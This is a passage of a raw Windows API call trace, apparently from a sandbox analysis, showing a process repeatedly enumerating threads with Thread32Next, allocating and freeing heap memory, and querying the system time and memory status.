dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.037] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.037] GetTickCount () returned 0x1880796 [0193.037] GetCurrentThreadId () returned 0xa0c [0193.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.038] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.038] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.039] GetTickCount () returned 0x1880796 [0193.039] GetCurrentThreadId () returned 0xa0c [0193.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.039] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.039] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.040] GetTickCount () returned 0x1880796 [0193.040] GetCurrentThreadId () returned 0xa0c [0193.040] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.040] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.040] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.041] GetTickCount () returned 0x1880796 [0193.041] GetCurrentThreadId () returned 0xa0c [0193.041] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.041] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.041] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.042] GetTickCount () returned 0x18807a5 [0193.042] GetCurrentThreadId () returned 0xa0c [0193.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.043] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.043] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.044] GetTickCount () returned 0x18807a5 [0193.044] GetCurrentThreadId () returned 0xa0c [0193.044] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.044] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.044] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.045] GetTickCount () returned 0x18807a5 [0193.045] GetCurrentThreadId () returned 0xa0c [0193.045] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.046] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.046] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.047] GetTickCount () returned 0x18807a5 [0193.047] GetCurrentThreadId () returned 0xa0c [0193.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.047] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.048] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.049] GetTickCount () returned 0x18807a5 [0193.049] GetCurrentThreadId () returned 0xa0c [0193.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.049] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.049] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.051] GetTickCount () returned 0x18807a5 [0193.051] GetCurrentThreadId () returned 0xa0c [0193.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.051] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.052] GetTickCount () returned 0x18807a5 [0193.052] GetCurrentThreadId () returned 0xa0c [0193.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.053] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.053] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.054] GetTickCount () returned 0x18807a5 [0193.054] GetCurrentThreadId () returned 0xa0c [0193.054] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.055] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.055] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.056] GetTickCount () returned 0x18807a5 [0193.056] GetCurrentThreadId () returned 0xa0c [0193.056] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.056] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.056] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.057] GetTickCount () returned 0x18807b5 [0193.057] GetCurrentThreadId () returned 0xa0c [0193.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.058] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.059] GetTickCount () returned 0x18807b5 [0193.059] GetCurrentThreadId () returned 0xa0c [0193.059] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.059] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.059] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.060] GetTickCount () returned 0x18807b5 [0193.060] GetCurrentThreadId () returned 0xa0c [0193.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.061] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.062] GetTickCount () returned 0x18807b5 [0193.062] GetCurrentThreadId () returned 0xa0c [0193.062] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.062] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.062] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.063] GetTickCount () returned 0x18807b5 [0193.063] GetCurrentThreadId () returned 0xa0c [0193.063] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.063] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.064] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.064] GetTickCount () returned 0x18807b5 [0193.064] GetCurrentThreadId () returned 0xa0c [0193.064] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.065] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.065] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.065] GetTickCount () returned 0x18807b5 [0193.065] GetCurrentThreadId () returned 0xa0c [0193.065] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.066] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.066] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.066] GetTickCount () returned 0x18807b5 [0193.066] GetCurrentThreadId () returned 0xa0c [0193.066] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.067] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.067] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.067] GetTickCount () returned 0x18807b5 [0193.067] GetCurrentThreadId () returned 0xa0c [0193.067] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.068] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.068] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.068] GetTickCount () returned 0x18807b5 [0193.068] GetCurrentThreadId () returned 0xa0c [0193.068] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.069] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.069] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.070] GetTickCount () returned 0x18807b5 [0193.070] GetCurrentThreadId () returned 0xa0c [0193.070] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.070] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.070] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.071] GetTickCount () returned 0x18807b5 [0193.071] GetCurrentThreadId () returned 0xa0c [0193.071] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.071] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.071] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.072] GetTickCount () returned 0x18807b5 [0193.072] GetCurrentThreadId () returned 0xa0c [0193.072] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.072] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.072] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.073] GetTickCount () returned 0x18807c5 [0193.073] GetCurrentThreadId () returned 0xa0c [0193.074] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.074] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.074] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.075] GetTickCount () returned 0x18807c5 [0193.075] GetCurrentThreadId () returned 0xa0c [0193.075] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.075] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.075] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.076] GetTickCount () returned 0x18807c5 [0193.076] GetCurrentThreadId () returned 0xa0c [0193.076] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.077] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.077] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.078] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.079] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.079] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.080] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.081] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.082] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.083] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.084] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.085] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.085] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.086] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.087] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.088] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.089] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.090] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.091] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.091] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.092] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.093] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.094] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.094] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.095] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.096] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.096] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.097] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.098] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.099] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.100] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.100] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.101] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.102] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.102] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.103] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.104] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.105] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.105] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.106] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.107] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.108] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.108] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.109] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.110] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.111] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.111] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.112] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.113] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.113] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.114] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.115] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.115] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.116] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.117] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.118] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.119] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.119] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.120] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.121] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.121] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.122] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.123] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.123] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.124] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.125] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.125] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.126] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.127] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.127] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.128] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.128] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.129] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.130] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.130] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.131] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.132] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.132] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.133] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.134] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.134] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.135] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.136] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.137] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.137] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.138] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.139] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.139] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.140] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.141] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.142] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.142] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.143] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.144] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.144] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.145] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.146] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.147] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.147] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.148] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.149] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.150] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.150] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.151] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.152] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.152] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.153] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.154] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.154] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.155] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.156] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.156] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.157] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.158] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.158] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.289] FreeLibrary (hLibModule=0x752b0000) returned 1 [0193.289] QueryPerformanceCounter (in: lpPerformanceCount=0x2a79ea4 | out: lpPerformanceCount=0x2a79ea4*=2583230567171) returned 1 [0193.290] GetCurrentThreadId () returned 0xa0c [0193.290] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.290] GlobalMemoryStatus (in: lpBuffer=0x2a7a218 | out: lpBuffer=0x2a7a218) [0193.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8ddfa850, dwHighDateTime=0x1d8a8f3)) [0193.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8ddfa850, dwHighDateTime=0x1d8a8f3)) [0193.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8ddfa850, dwHighDateTime=0x1d8a8f3)) [0193.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8ddfa850, dwHighDateTime=0x1d8a8f3)) [0193.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8ddfa850, dwHighDateTime=0x1d8a8f3)) [0193.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de209b0, dwHighDateTime=0x1d8a8f3)) [0193.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de46b10, dwHighDateTime=0x1d8a8f3)) [0193.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de46b10, dwHighDateTime=0x1d8a8f3)) [0193.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de46b10, dwHighDateTime=0x1d8a8f3)) [0193.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de46b10, dwHighDateTime=0x1d8a8f3)) [0193.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de46b10, dwHighDateTime=0x1d8a8f3)) [0193.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de46b10, dwHighDateTime=0x1d8a8f3)) [0193.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de6cc70, dwHighDateTime=0x1d8a8f3)) [0193.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de6cc70, dwHighDateTime=0x1d8a8f3)) [0193.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de6cc70, dwHighDateTime=0x1d8a8f3)) [0193.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de6cc70, dwHighDateTime=0x1d8a8f3)) [0193.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de6cc70, dwHighDateTime=0x1d8a8f3)) [0193.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de6cc70, dwHighDateTime=0x1d8a8f3)) [0193.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de92dd0, dwHighDateTime=0x1d8a8f3)) [0193.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de92dd0, dwHighDateTime=0x1d8a8f3)) [0193.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de92dd0, dwHighDateTime=0x1d8a8f3)) [0193.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de92dd0, dwHighDateTime=0x1d8a8f3)) [0193.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8de92dd0, dwHighDateTime=0x1d8a8f3)) [0193.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8de92dd0, 